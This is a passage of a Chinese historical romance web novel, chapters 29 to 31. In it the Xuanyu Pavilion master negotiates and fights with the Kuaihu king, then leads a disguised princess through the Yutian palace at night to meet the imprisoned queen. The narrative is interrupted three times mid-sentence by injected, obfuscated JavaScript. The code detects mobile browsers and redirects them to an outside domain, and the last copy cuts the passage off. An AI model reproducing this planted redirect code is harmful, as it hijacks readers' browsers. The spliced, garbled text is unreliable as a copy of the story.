相隔千里的狯胡一夜入城,库马尔也不解:“狯胡与于阗的交情,来的颇为蹊跷。” 话落,他们已距王宫一丈之外。运送物资的骆驼只能走旁边的侧门,两人不得不辞别。 李暠谦和依旧,道别:“库马尔大人,保重。” 远远的在王宫台阶之上,一位灰袍戴宽目面具之人,双手插袖无声立于高台上,没人知道大祭司为何看着蓝毗尼宫的方向,整整过了一个时辰。别人不知,那边鸡飞狗跳了一个时辰,直到那个身影轻盈地爬上菩提树,消失在繁花似锦的树丛,他才放下一颗心。大祭司转过身,俯瞰宫门的方向,朝走来的白衣之人微微点头,人便从高台离去。 玄盛认出于阗深居简出的大祭司。 多年来,他们在采玉祭有过几面之缘,从未见过其真容。玄玉阁曾送过很多珍稀药材给他,大祭司来者不拒,却不曾有过多来往。看那转瞬即逝的身影,两人心照不宣。 这边有侍女静静地出现,“玄阁主,王后已命人在王宫给您安排了住处,请随奴婢来。” 政令虽是已王后懿旨下令,然而明眼人都知道,于阗王被刺,公主托病被软禁在蓝毗尼宫,和田城现在由重掌兵权的诺伊都尉控制,大祭司明显已同他站在了一起。玄盛的身份特殊,诺伊不想与之为敌,也不想节外生枝,如果这位玄玉阁阁主想要祭奠先王,索性将其放入宫中,放在眼皮底下,监视他的一举一动。 玄盛将白骆驼交给内侍,示意侍女领路。 王宫的路李暠十分熟悉,拂云殿与玄玉阁不过一湖之隔。 他们穿过亭榭,往西边偏殿方向走去有一块演武场,当今于阗王不擅舞刀弄棒,这片空地平日是阿依夏木的驯马场,眼下却也热闹,正有一个男人赤膊与人激斗,李暠认出此人正是从龟兹混战全身而退的狯胡王——星夜。 狯胡,是大漠西部的迁徙部落之一,居无定所,虽善攻猎,但因长年颠沛流离,始终无法壮大,玄玉阁也与这些游牧部落作买卖。眼前的赤膊男子身高体壮,背后刺着狼图腾,据说这是狯胡王族的标记。 狯胡王一肘重摔,尘土四起。与他对打的勇士,被按在地没有还手之力,直觉有人在注视自己,一边起身,一边接过仆人送上的衣氅,吩咐所有人退下,转身看到一身白衣胡服之人行来。 星夜发丝带汗,孔武的身材,桀骜的眼神,与眼前之人相对而立,如骄阳与皓月,气势迥异。狯胡王游历大漠,对来人身份十分熟悉,语气桀骜。 “玄玉阁阁主,久仰。” 29. 狯胡王 狯胡王名叫星夜,汉话流利,算得上大漠上的一个人物。传闻其母是被狯胡掠去的汉女,他亲手杀兄弑父,去年在同父异母的弟弟呐龙拥护下,统一狯胡部落,刚刚坐上狯胡王的宝座。 玄盛微一欠身,“早闻狯胡王威武骁勇,今日一见,名不虚传。” 星夜半搭的衣氅下,狰狞的伤痕刀疤布满结实的胸膛,他随便擦了把汗水,斜眼打量身边一丝不苟的优雅男人,戏虐道:“听说阁主来此,是与本王抢女人的?” 传闻不假,喀龙与星夜兄弟二人情谊颇深,在狯胡王的众子嗣争权大战中联手胜出,星夜亦在打量李暠,是女子们喜欢的皮相男人,于阗如今是龙潭虎穴,敢只身前来有胆识,就怕中看不中用,有胆来,无命回。 玄盛淡然一笑如明月清风,“狯胡王说笑,玄盛此番特来吊唁于阗王。” 母亲总说中原人彬彬有礼,在他看来虚伪至极,“听闻玄郎君乃中原士族君子,不思仕途却远道于阗,为了金子到处认主……”话说一半,狯胡王狂放不羁地歪坐在胡床,接过仆人送上的美酒,一口饮下,眼神瞥向身旁端坐之人面露不屑。 玄盛也接过仆人送上的夜光杯,泰然坐在狯胡王星夜对面,摇了摇晶莹美酒,“狯胡王这次出西漠,与温宿、尉头组建七十万联军,可惜……怕还不知,数万兵马折在何处?” 星夜脸色骤变,玄盛神情依旧。 “龟兹一战,你损兵马上万,随你逃亡于阗的残兵中,混着多少外族异心,漠匪流寇,狯胡王心中可有数?这些人为利,不为义,龟兹王白纯既出价请你们出战,狯胡王就该料到,趋利避害的联军,人心不古。” 玄盛抬眼,眼中的锋芒与温润如玉的外表判若两人,端起酒杯轻轻晃动,一饮而尽。 狯胡王手指关节攥得咯咯响,“游牧部落,本就是弱肉强食,我狯胡勇士跟温宿、尉头之流,岂能混为一谈?” “七十万大军,数十个部落,一月集结,一夜溃败,诸位给吕光省了不少力气。” 玄盛语气和缓,却字字诛心。 星夜锐利的眼神看向玄盛,被堵的无法反驳。 龟兹粮足富奢,从得到消息龟兹与征西军鹬蚌相争,有多少荒蛮部落和他一样,冲着分一杯羹而来,但他从不信任任何人,从首领们收到龟兹求援信,到聚集起七十万大漠人马,一切进行地太过顺利了,就好像有一只手在背后推动局势,果不其然,在大战之际首领之间心怀鬼胎,七十万联军看似来势汹汹,其实犹如散沙,一击即溃。 星夜灵光一现,看向孤身站立的年轻男人,心底冒出一个想法,“阁下言外之意似知内情?” 他没办法不怀疑这个刚刚兴起的势力,玄玉阁积累财富的速度太快了,吕光的征西军进入大漠后,有玄玉阁的一臂之力犹如神助,借助天时地利之势,大破联军,更令人匪夷所思的是,白纯送给各首领的好处,皆由一批神秘的黑衣人押送而至,那些人神秘莫测,绝不是龟兹人。 狯胡王是个聪明人,他越发狐疑,玄玉阁阁主出现在此处,定另有原因。 二人对视,气氛紧张又微妙。 周围的侍女和陪练的勇士早已退避三舍,玄盛轻摆长衫,半支起他挺直的腰板,在狯胡王的对面不到一丈的地方,优雅而慵懒,“玄盛不过是个生意人……” 这是没否认,也没承认。 星夜心中大惊!他忽然想通了,传递信息、高额悬赏、暗中联络,集结游牧部落,为白纯施舍财帛便利,吕光征西军背后的势力遍及西域……串起这张网,还能置身事外的下棋之人,才是最可怕的。阿妈说的对,汉人贯会偷奸耍滑,心思复杂,这么多年的行走,慢慢渗透大漠的每一个角落,这个生意人,真是好大的手笔! 星夜冷笑起来,“好一个玄玉阁。” 知道自己早已被算计,他干脆道:“阁主,有话直说!” 玄盛坐起身,弹了弹衣袖,对星夜道:“在商言商,玄盛此来,顺路与狯胡王做笔买卖。” “什么买卖?”星夜挑了眉毛。 玄盛真诚道:“盘踞大漠对抗吕光的势力,一为龟兹,二为于阗,龟兹已降,狯胡与于阗结盟,以在下看是步死棋,只需釜底抽薪,必有渔翁之利。” 星夜眉毛一动,只听李暠又道:“狯胡王所劫吕纂粮草,够你们撑到了和田,既入了翁,可看清楚了退路?”玄盛为他桌上的空杯斟满美酒,星夜却是背脊发寒,“看来,本王还要感谢玄玉阁资助之恩了。” “羊群聚集了,才好日暮归圈。” 这是生怕他狯胡大军支撑不到于阗,早早的分崩离析。 玄盛在旁自斟自饮了起来,并不介意星夜的挖苦,他敬了星夜一杯,道:“诺伊是步死棋,然于阗未必,狯胡王不如作釜底抽薪之人。” 玄玉阁的势力神秘,又善于敛财,狯胡王明知李暠必有所图,他还是认真考虑了他的建议,一笑道:“公主本王势在必得。李阁主既然无意,你我化敌为友,未尝不可。“ 于阗,是不得不吃的一枚棋子,与诺伊校尉的合作倒未必是唯一的办法,他有人马,只有娶了公主名正言顺,除掉诺伊,才是出路。有了玄玉阁的承诺,便是又有了退路,这也是他迟迟不赞同诺伊对玄玉阁宋繇等人下手的原因。 “江山迟日,美人如云,虽则如云,匪我思存。狯胡王钟情美玉,玄盛独爱琅轩。” 他掏出一枚通体剔透的美玉,在太阳下轻轻转动,只见玉饰色泽温润,鱼形鳞纹佩背后四个字,竟以国玺的规格刻制着——“光之公主”。 玄盛提起:“玄盛与于阗公主早年相识,并无婚约,此番吊唁玄盛携妻随行,正好将‘光之公主’亲自退还女王陛下,若狯胡与于阗缔结秦晋之好,玄玉阁必送上重礼恭贺。” 星夜心想,看来玄玉阁拥护公主继位,甚至能够接受狯胡与于阗的联姻,这对他绝对是好消息。这位阁主带着家眷来趟这趟浑水,不知是太重视,还是太不重视……他的独爱琅玕。不过,玄玉阁抛出“玉之公主”的投名状,或许他可以相信玄玉阁的诚意,受制于人却又令人不悦。 星夜冷哼一声,“李阁主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756270|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不怕,事有万一,你和你的妻妾葬身于此?” 对方只淡淡地说:“玄盛只有妻,没有妾。” 狯胡王一时语塞,这是他话中的重点么? 玄盛没了笑容,星夜明显感受到一种无形的压力,在剑拔驽张的瞬间,突然玄盛又轻呵一声,恢复浅笑,“听闻龟兹大战后,沙漠越发不太平……那快马送信的孩子,恐怕会扑空了。” 这个狡猾的中原人果然有后手,星夜捏碎酒杯,“你,敢对本王的信使下手?” “狯胡王多虑,大漠战火四起,草原百姓又如何自保?玄玉阁在西域有绿洲之地,可容万计无处栖息之民,狯胡阏氏当然也在邀请之列。”李暠所说的阏氏,正是狯胡先王的汉人妾室,星夜的亲生母亲,也是刚被儿子册封的狯胡阏氏。 好个恩威并施的李玄盛,星夜领教了汉人的无耻,再无冷静,凌厉的掌风直接朝玄盛劈来。李暠轻松闪过,两道身影瞬间在演武场大打出手。星夜招招直冲要害,不是为了什么光之公主,他实在不敢想自己那虚弱的半死不活的阿妈,能否撑过这个冬天。 他最恨受制于人,变得越发暴戾起来,挡在面前的桌子被生生劈开。 “动我族人者,死!” 玄盛只守不攻,脚下利落地躲闪星夜刚劲的铁掌,被劈开的胡床摔得稀碎,狯胡王的架势招招毙命,玄盛手下翻转,漂亮地擒住打到面门的拳头。 玄盛轻功一跃,道:“狯胡王不妨听玄盛一言。” 一番过招,星夜没占到半分便宜。 人渐渐冷静,两人有退有进,旗鼓相当,狯胡王手下力道一收,玄盛暗赞不愧是漠西崛起的新晋枭雄,这么快就理智了下来,他在星夜耳畔,“不如同操一弓,招无不中。”李暠潇洒一挥,将手中的玉石横在二人之间,“此乃信物,若狯胡王允我共勤叛臣诺伊,辅佐女王登基,玄玉阁可带于阗女王承诺,送汝海阔天空。” 星夜冷笑,“为何不是联姻?” 玄盛收起“玉之公主”,这是他给阿依夏木的承诺。 “女子婚嫁不该是筹码,若非她所愿,玄盛亦无权干涉。”玄玉阁不做亏本的买卖,星夜猜想李玄盛定还有后手,志在必得地说:“你既舍得到手的女人,本王也无异议。” 李暠无奈摇头,不再多言:“如此甚好。” “听闻大秦天王召吕光回朝,李家主拿大秦的俸禄,怎也不怕他背后捅你一刀?” 李暠有风光霁月的坦荡,道:“百年来朝代几度更迭,我陇西李氏这些年受封诏书,也存了七八张了。中原乱,西域定,身为家主,不过是给族中子弟个安稳,这一点,玄盛十分敬佩狯胡王。” 他看了眼若有所思的星夜,明明彼此威胁,却又惺惺相惜,“族人安危,王位权势,狯胡王以为孰轻孰重?” 星夜毫无犹豫:“没了族人,权势何用?” 玄盛第一次笑得几分真诚,优雅起身,双手抱拳施汉人礼节,“请狯胡王护住于阗太平,玄玉阁一言九鼎。” 星夜洒脱握拳,“言出必行!” 30. 夜探王后 和田城,表面的平静下暗流涌动。 城外的征西军围城不攻,城中狯胡兵马与于阗士兵的交恶时有发生,身为兵马都尉的诺伊,却任由事态发展不予阻止。 王宫传来消息,大祭司与王后决定提前下葬于阗王,大丧当日即让女王登基。 至于联姻之事,却没了下文。 玄玉阁别院,此时却没什么动静。自从留在拂云殿的主事与众宾客被囚,诺伊并没有下令查抄别院,和田城半数以上的贸易流通掌握在李玄盛的手里,或许因此诺伊还忌惮几分。 至于蓝毗尼宫,今天努尔闯了大祸,被它这么一闹整个外院都要重修,外院的人去向不明,内院落了锁,努尔被大祭司下令囚禁在笼子之中,阿祇被变相软禁在内院,只有得了大祭司的令才能出入,事实上除了阿依那,也没有人能出入蓝毗尼宫。 阿依那正在收拾桌上的盘碗,阿嬷冷冷地看着她,这气氛有种古怪的压抑,阿祇清了清嗓子:“口信传给大祭司了吗?” 阿依那低着头,行礼回道:“传过了。” “大祭司怎么说?” “大祭祀的意思,蓝毗尼宫里公主说了算。” 沮渠蒙逊对她偷窃出宫令牌的事只字未提,那就是不追究了?她试探不出大祭司的心思,她看向阿嬷,阿嬷好像也猜不出个所以然,阿祇只能询问阿依那,“努尔,能放出来吗?” 阿依那摇摇头,“大祭司说,努尔不得在内院跑闹。” “那请大祭司亲自来一趟吧。” 阿依那回答得干脆,“大祭司暂时不会再来蓝毗尼。” 阿祇想从阿依那的脸上寻些蛛丝马迹,可阿依那垂下头,屈了屈膝就要走,这个眼线真是衷心,阿嬷虎躯一震,挡在门口不让她出去。 “公主未下令,阿依那,你怎敢擅自离开?” 阿祇端出公主气派,吩咐:“既然蓝毗尼宫我说了算,我刚好有事决定。”阿依那不知道公主什么意思,只见阿祇起身走到窗口,望着窗外高大的菩提树,这棵树遮挡了更远的风景,她仿佛能听见努尔的呜咽,“努尔行为不端,将它赶出蓝毗尼宫。阿嬷,你现在就带它出宫,严加看管。” 阿嬷微愣,立刻屈膝道:“老奴留下来陪着‘公主’。” 她终究是不信任阿依那的,在这个四方天地里,阿祇就像空中的鸟,还是李代桃僵的断翅鸟,随时有性命之忧,阿祇已下定决心留下来护着她,即便她的微薄力量不值一提。 阿依那急道:“出宫需要大祭司的特许。” 阿祇扶起阿嬷,对阿依那厉声道:“大祭司有没有说,我不能赶人出宫?”阿依那愣住了,好像并没有,“你收拾一下东西,现在就送她们出去。” 阿依那看了阿嬷一眼,立刻瑟缩了说:“没有令牌,恕奴婢不敢。” “你能见到大祭司,他自会解决这些小事。告诉他,如果解决不了,本公主只好亲自解决。” 阿依那看了眼阿嬷,好像阿嬷和努尔走了也没什么不好。 阿祇斥道:“这是蓝毗尼宫,如果我的话没人听,就换听话的人来。” 阿依那第一次见“公主”疾言厉色。 自从被主人派来蓝毗尼伺候,她已猜出这个公主不是阿依夏木,公主从小都有心腹与宫中老人悉心照料,眼前的公主虽然皮肤白皙、姿容美丽,性子也随和,但阿依夏木不是汉人模样,人尽皆知公主的脾气急躁,下手有时狠辣,而这个公主却从来都是和声细语。 阿依那急忙跪下,她终究是个女奴。 “是。” …………………………………………………… 入夜,二更天。 安神香的香味溢出院落,明月高悬,万籁俱静,只有虫鸣簌簌作响,昏暗的室内只有一盏烛光摇曳,层层帷幔中卧着人影。有人悄然跃入窗,阿依那早已在外室昏沉入睡,来人极轻地踏入内室。 纱帐中隐隐看到一个平躺的人影,长发铺满身下的床榻,一只细白的手臂搭载金色的锦被上,掀开帷幔是熟悉又陌生的女子睡颜。女子似察觉有异,正要反抗,有温暖的大手触碰她的手臂,睁开眼她看清了靠近自己的深邃幽眸。 男人手指比了噤声,拉下蒙脸的黑巾轻声道:“是我。” 床榻上的阿祇眨眨眼表示配合,然后口鼻一松,黑影迅速藏入帷幔之内,来人居然是李暠。 没想到在这种情况下,又见到了他。阿祇按下惊喜,小声问:“你怎么来了?” 他高兴她这样叫他的名字,低声道:“走,带你去见一个人。” 即便不是带她出宫,阿祇也信赖配合,“嗯,稍等。” 李暠退出帷幔,给阿祇整理自己的时间。阿祇没有问要去见谁,迅速披上一身深色侍女衣裙,绑上头发,利落地来到窗前。玄盛已经施展轻功落在院子里的菩提树下,仰头而望,身姿临风飘然,双手伸向她。风过树梢,这棵不知有多少岁的菩提树,树身苍劲,枝叶繁茂,藤蔓上还挂了祈福的丝带,与两个时辰前看到菩提树感受迥异。 相传释迦牟尼在菩提树下打坐,菩提女神以树叶为他遮风挡雨,终使其成佛悟道。 菩提树下,李玄盛长身玉立,目光温柔地伸手等她,犹如召唤她的神祇,“小心。” 阿祇脑海中冒出一句话:“我常念佛,乐见世尊。常作誓愿,不离佛曰。” 她毫无顾虑地跳下窗,沿着内院宫墙走近树梢,朝菩提树下轻轻一跃,便被一双手稳稳扶住,她肩伤未愈,却不想让李暠担心。她抬眼对扶着她的人浅浅一笑,后退站稳,说:“走吧。” 玄盛凝视她片刻,两人通信数月,一个眼神便心有灵犀,他给阿祇蒙上面。 静寂的夜晚周围虫鸣声阵阵,二人没有言语,动作默契。 七月末的西域,夜晚有些寒凉。清风拂过,流云在深蓝色的天空飞逝,残缺的明月露出半张脸,洒下银辉,依稀可辨脚下斑驳的光影。一男一女,正在偌大的于阗王宫悄然而行。李暠熟悉王宫路线,穿过回廊,躲过巡逻的侍卫,他们绕到大殿后面,再穿过这排佛宇,就是他们要去的地方。可惜他们的运气不好,巡逻的脚步声来回走动,两人迅速躲进离他们最近的侧殿。 这是一间狭小的佛室,没什么遮掩的地方。关好门,玄盛将阿祇护在身后,仔细聆听外面的声音,由远及近,直到侍卫离去他们才松口气。 正要出去,外面又传来声音。 “快点,大祭司下令每个佛龛前的香火都不能断燃,西院的供香怕是快燃尽了。” 来人脚步有点乱,大概是侍奉火烛的侍女往他们这边跑。 环顾四下怕是无处藏身,阿祇心忧之际腰间一紧,没等她反应人一飘,已经被玄盛揽上房梁。玄盛环住阿祇横躺在梁木上,阿祇恐高紧张的心跳如擂鼓。 这时屋门开了,走近两个端着香火烛台的侍女。 一进来,她们就开始清扫尘土、摆放供奉,刚忙碌一会儿,年纪尚小的侍女头凑过去,对年长的侍女小声说道:“阿姊,王后被关起来不吃不喝,怕也快不行了吧?” “闭嘴,你不要命了。”年长侍女厉声喝阻。 刚才说话的小侍女忙掩住嘴,她们看起来岁数都不大,其中一个手脚不熟练,笨拙地点不燃象征长寿安康的香火,“笨手笨脚,快点,别误了下一个佛龛的时辰。” “是。”小侍女有点委屈。 她战战兢兢地点香,好容易着了正要用嘴吹灭火焰,手中的香被夺走,“不想再挨鞭子就记住香火不能吹,像这样。”那个侍女用手扇灭火焰,冒出几缕青烟,往香炉里放去。 “阿秭,我们什么时候能出宫?最近多了好多侍卫,昨天带走了拉姆草,现在还没回来。” 小侍女哆哆嗦嗦地拜了拜,“神佛保佑,诸事平安!” 年长侍女收拾完贡品,教训小侍女,“只要不靠近蓝毗尼宫,你的小命就不会丢,懂?” 小侍女点头如啄米。 房梁上那两人吊了一段时间,阿祇体力渐渐不支,左肩的伤口疼痛,有些吃撑不住。 玄盛发现了她的异样,右手臂膀挂着木梁,用左手拢紧她的身子,将难以支撑的阿祇朝他移动了几寸,两人身体紧贴,呼吸可闻。然而,小侍女们磨磨蹭蹭,生怕出去就会见到巡逻的侍卫。 时辰不早,她们总算打点好了佛龛,开门朝外面走去。 忽然,一滴鲜血滴落而下,刚好落在佛像的金身上,走在后面的年长侍女停下脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776265|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,托着烛火回头张望。 阿祇伤口崩裂,玄盛离她这么近,早已闻到了血腥味。四目相接,玄盛眉头紧促,阿祇默默摇头表示无碍,男人眼神中有笃定的坚持,阿祇明白他的意思,任他的臂膀揽过自己的左肩,将体重悉数交予他身上,头靠在他的肩膀,左肩的伤口正压在他的心房。 心跳声,在耳畔咚咚作响。 腰上的手掌有力,指节修长,阿祇的头埋在他的肩窝,勉强支撑自己不会掉下去。肩头的伤势让阿祇体力不支,短促的呼吸呼在男人脖颈里,温热的气息来回吹拂耳畔,谁都不敢多动一下。 屋内两个侍女走回来,小侍女紧张地问:“阿秭,怎么了?” 年长侍女小心地环视角落,“好像有动静。” 小侍女看着佛像,吓得不敢作声,双手作揖拜了拜,口中念念有词。她拉了拉年长侍女的袖子,说:“没人,快走吧。” 昏暗中,二人的神经愈发敏感,房梁上紧张中透出一丝诡异的气氛,阿祇的体内像是长出了藤蔓,缠缠绕绕着每根神经似要点燃一簇火苗,身下人的心跳不知是否也很紧张,越跳越快,阿祇手心出汗,一时竟忘记疼痛。 时间流逝,终于吱呀一声,侍女们离开带上了房门。 昏暗的佛室里恢复寂静,熄灭了悸动暗流。 阿祇长呼一口气,李暠卷着她从房梁上,轻轻跃下。 两人落在昏暗的角落,玄盛迅速伸过拇指和食指点上她颈颊几处穴位,幸好两人穿得都是深色,鲜红的血色并不明显。男人的眼深幽阴郁,落在那片濡湿的血色。 “伤势如何?” 阿祇不是有心要隐瞒,“没事,原本已经愈合了。” 玄盛知道她在逞强,语带有一丝责备,“转过去,把衣裳退下来。”阿祇以为她听错了,玄盛神情严肃地催促:“时间不多,我给你止血。” 他不由分说地从自己衣摆上撕下布角,阿祇只好转过身,把左肩膀轻轻从衣领中露出来,箭头是贯穿伤,纱布果然早已渗透,背后的手稳当缠绕布条,小心地又包扎一圈。系紧绷带,他转过阿祇的身子,拇指压向她手臂内侧的天府穴,自下而上推拿止血。 “忍一下,很快就没事了。” 阿祇看着他深邃的眼睛,默默地任他按压,极富耐心。其实,沮渠蒙逊之前给她上的良药十分管用,要不是她自己为了及时赶回蓝毗尼宫,翻墙爬树,导致伤口又裂开,今日也不会再次崩裂。 月明星稀,二人隐藏在阴影的角落。 阿祇疼痛与疲乏交织,额头冒出薄汗,伤口渐渐不再渗血,玄盛松开了手指。 半柱香,其实并不算长,阿祇穿的深色衣裳,玄盛特意在香灰炉里捏了些香道灰敷在绷带上,低声道:“香道灰能止血,还能遮盖你身上的血腥味。” 阿祇点头,忍着眩晕拉上衣裳,然后被玄盛搀扶背靠墙倚坐短暂休息。 沉默让气氛略显尴尬,玄盛似是无意,“你戴着它?” 一截银色绳结卡在领口外,露出润泽如珠的琅玕。琅玕,不及宝石璀璨,却有玉石的璞华,又有珍珠的光泽。身侧的男人轮廓清晰可见,幽深的瞳孔明亮,阿祇抬眼看去发觉他也在看她,不自觉避开对视,小心将那颗琅玕收入衣中,“习惯了就一直戴着。” “知君此计行亦远,芝草琅玕日应长。” 他笑而无声,小心扶阿祇起身,“走吧,很快就到了。” 月已高悬,夜色无边无际地席卷在王城深宫,尽是黑暗。 待阿祇被玄盛小心地从宫墙抱下,走入一个色泽艳丽的殿宇时,才发现原本应当繁华锦绣之地竟空荡荡的,连个伺候的人都没有。绕过死气沉沉的庭院,玄盛带她站在一扇门外,“这是禁宫,守卫每个时辰巡逻一次,我们时间不多。” 轻声敲门,片刻后才听到屋内有动静,门吱呀开了个缝隙,一个身穿白色衣衫罩头的憔悴女人看到是李玄盛,立刻瞪大眼睛露出惊喜。 门外漆黑寒凉,室内也不甚明亮,明明华美奢侈的大殿却只点着几只火烛,风吹摇曳,有几分飘零之感,女人病弱不堪似曾相识,阿祇安静地站在玄盛身后,观他言行,大概猜到她的身份。 “见过王后。”玄盛肃穆行礼。 31. 夜寐 “见过王后。”玄盛肃穆行礼。 这张憔悴的面容与阿依夏木很像,只是没有了生气,她如破碎了的木偶般眼神涣散,又像看到了救星,眼睛瞬间亮了起来,“玄盛,你见过陛下了吗?还有,我的阿依夏木。” “公主无恙。”玄盛对女人躬身哀道:“陛下他……请王后节哀。” 王后被软禁,还不知于阗王的死讯,突闻噩耗摇晃着软倒,被李暠一把扶住,王后忍着悲痛道:“他……是怎么走的?”夜行衣下的玄盛,隐隐几分沉稳的杀伐之气,“心脏被人从身后用利器刺穿,并非流箭,行刺之人应是当时近身之人。” 王后面如死灰,“我早该知道,大祭司带来的女人肯定有问题,那天陛下多看了那个女子一眼,我就赌气没有出席采玉祭,如今……悔不该当初。” 玄盛神色凝重,问:“王后,对那个女人可还有印象?” 她剧烈咳嗽起来,“咳咳……怎么会没有印象,她是诺伊的独女西莫儿,陛下对女子素来漠不关心,那日也不知诺伊与陛下说了什么,西莫儿就被留在拂云殿。” 玄盛不发一言,阿祇在他身后也感觉到气氛诡异。 王后泣不成声,拉住玄盛的手臂,“阿依夏木呢?她在哪?” 玄盛扶着王后坐下,“玄盛此来,正为公主所托。”他示意阿祇上前,走到王后的胡塌前,阿祇了然,朝明亮处款款走来,站在玄盛的身旁,听他缓缓开口:“公主她正在此。”阿祇的金蝉脱壳之行与阿依夏木不期而遇,冥冥之中似有天意,二人命运交错,她乖乖单膝行礼。 “王后安好。” ………………………………………… 赛勒湖畔。 昔日奢华耸立的拂云殿已化作一片废墟,在这片被封禁起来的焦土之地,此时一个黑影在残垣断瓦前覆手而立,身形高大,正是狯胡王星夜。 不远处的黑幕里默默走出一人。 黑衣笼罩下的人影,一双眼睛在月色里十分瘆人,来人声音冰冷,“为何让李暠入城?” 星夜一身玄色狼纹大氅,端的傲气凛然,反问道:“玄玉阁,不也在都尉的计划之中吗?” 黑衣人放下兜帽,瘦削的脸看向狯胡王星夜,满脸卷曲的花白胡须盖住半张脸,那灰蒙蒙的眸子让他看上去有一分死气,他的声音嘶哑缓慢,“老夫要铲除城中玄玉阁的势力,然后再瓮中捉鳖,狯胡王好像是另有打算。”他死气沉沉的眼睛忽的迸发出杀意,瞪向星夜,“合作的基础不一定是信任,狯胡王既然打算背弃老夫,总没忘记答应老夫的事情吧。” 星夜不屑,“都尉信不过本王?” 老者正是掌控于阗的叛臣诺伊都尉,他并不在意星夜的背刺,目光冷冷瞟向湖水,记忆中悲痛的片段映入脑海,一下下凌迟着他的心。他唯一的独子,正是被于阗王沉入这片冰冷的湖水,那日他暗暗发誓,定要让整个和田城陪葬。 狯胡王当然从未信赖这个于阗叛臣,“密信中你承诺奉上于阗,莫非改变主意了?” “咳咳……改变主意的,怕是狯胡王吧?”诺伊佝偻地咳嗽起来。 星夜手握重兵,自然不惧诺伊,“老头,你开了城门,本王也信守承诺一把火灭了于阗王,你还有什么不满的?” 数日前,他带着三万残军从龟兹混战中撤退,漠南虽是出路,但于阗并不是他的最好选择,若没有突厥人的威胁,他更想拿下与狯胡毗邻的疏勒和莎车。于阗佣兵一万,以富奢的和田玉城为都城,背靠赛勒湖的环水天险,粮草充足,是易守难攻之地,于阗王拒不向投降吕光,都尉诺伊密信狯胡王,起初他以为是为了联合抗秦,没想到信中却说是送上城池,毁灭王室。 这时,诺伊忽的双目怒瞪,“只死了一个舍都罗,杀的还不够!” 星夜有杀父弑兄的凌厉手段,也少不了运筹帷幄的篡权计谋,“本王如何行事,还轮不到都尉指手画脚。”他在族中内斗赢得王位,好不容易又集结了三万人马,龟兹混战得了实惠好处,岂肯在和田城里损兵折将,“本王若能娶了公主,再拿下莎车和疏勒,漠南自然也有都尉的一杯羹。” 那双眼睛几乎充血,声音更是沙哑难听,“原以为是把最利的刀,其实不过是最胆小的逃兵,什么心狠手辣的大漠苍狼,可笑,不过是贪图小利的鼠辈。咳咳……” 星夜起了杀意,“诺伊老头,别以为本王不敢杀你。” 诺伊惨然一笑,“死又何惧,老夫不要权势财富,不要孤独苟活,我要的是王室覆灭,整个于阗覆灭!”一句话说完,人突然剧烈咳嗽起来,一口血隐藏在暗夜的袖口。 “诺伊,你真是疯了!” “我疯了?不疯,你们胡人怎么进得和田城?既来了,为什么不踏破这该死的和田城?” 吐尔逊,他唯一的儿子,亡妻留下的唯一托付,为了拯救于阗于战火,暗中投诚吕光,不料被主战的于阗王当作杀一儆百的祭品。那日,满城百姓观刑,投石掷粪,竟无一人求情。星夜对这疯老头不屑一顾,只见诺伊手朝着四周伸开,转了一圈,状似疯癫,“和田城的人,躺在金子玉石搭建的美梦里,都想要这样的城,你们怎舍得毁灭?”他看向星夜,眼神中有不甘的怒火,“可是这和田城就是金玉做的地狱,随处都是贪婪的恶鬼,就该一把业火全烧了。” 狯胡王虽有三万大军,但强龙不压地头蛇,诺伊的疯狂本质星夜总算看清了,诺伊引敌入城,不是要篡权,而是要毁灭。 “与我为敌的人皆身首异处,你想死,本王可以成全。” 灰蒙蒙的眸子透着阴沉鬼魅,诺伊已然陷入癫狂,从喉咙中挤出他的绝望。 “那就一起焚烧地狱吧。” 这注定是个不平静的夜晚。 星夜猜出诺伊对他们留了后手,喀龙汇报,刚又发生了一起狯胡与于阗的斗殴事件。 自从和田城实施宵禁,狯胡散兵屡次破坏规矩,今夜三个酒醉晚归的雇佣兵更是与于阗巡卫打了起来,第一次闹出了人命。雇佣兵原本是收编的西域流寇,他们畏惧玄玉阁的围剿,于是混迹在大漠各种势力之间,前段时间刚加入援军的混战,这些流寇善于审时度势,一见战乱溃败,立刻鸟兽散,很多便混进了狯胡大军。 喀龙特意来禀告星夜,这次乱子有点大。 “死了几个?”星夜十分不悦地问。 喀龙磕磕巴巴地说:“两个……” “不是让你严加管束那些蛮子了吗?”星夜强忍怒气。 “阿兄,你也知道那些人散漫惯了,于阗人本来就针对咱们,那几个人喝多了,下手才重了些。”喀龙一手比划上自己,瞪圆眼珠子道:“抹了巡卫的脖子,这才闹了起来。” 星夜叹了口气,“诺伊那里,巴不得我们闹事。”双方越来越多的冲突,若不解决狯胡的危机真要来了。星夜越发烦躁起来,吼道:“那三个闹事的呢?” 喀龙着急道:“被于阗人抓走了。” 看星夜实在怒气难消,喀龙额头冒汗,这几日忙着到处灭火,收编而来的蛮子实在无法控制。 喀龙额头的青筋蹦起,怒道:“咱们大军里有上千流寇散兵,加入时都说效忠狯胡,但是野性难驯,万一哪天洗劫了和田城也不奇怪。”这些人是真的匪气难除,到处惹事。星夜知道喀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 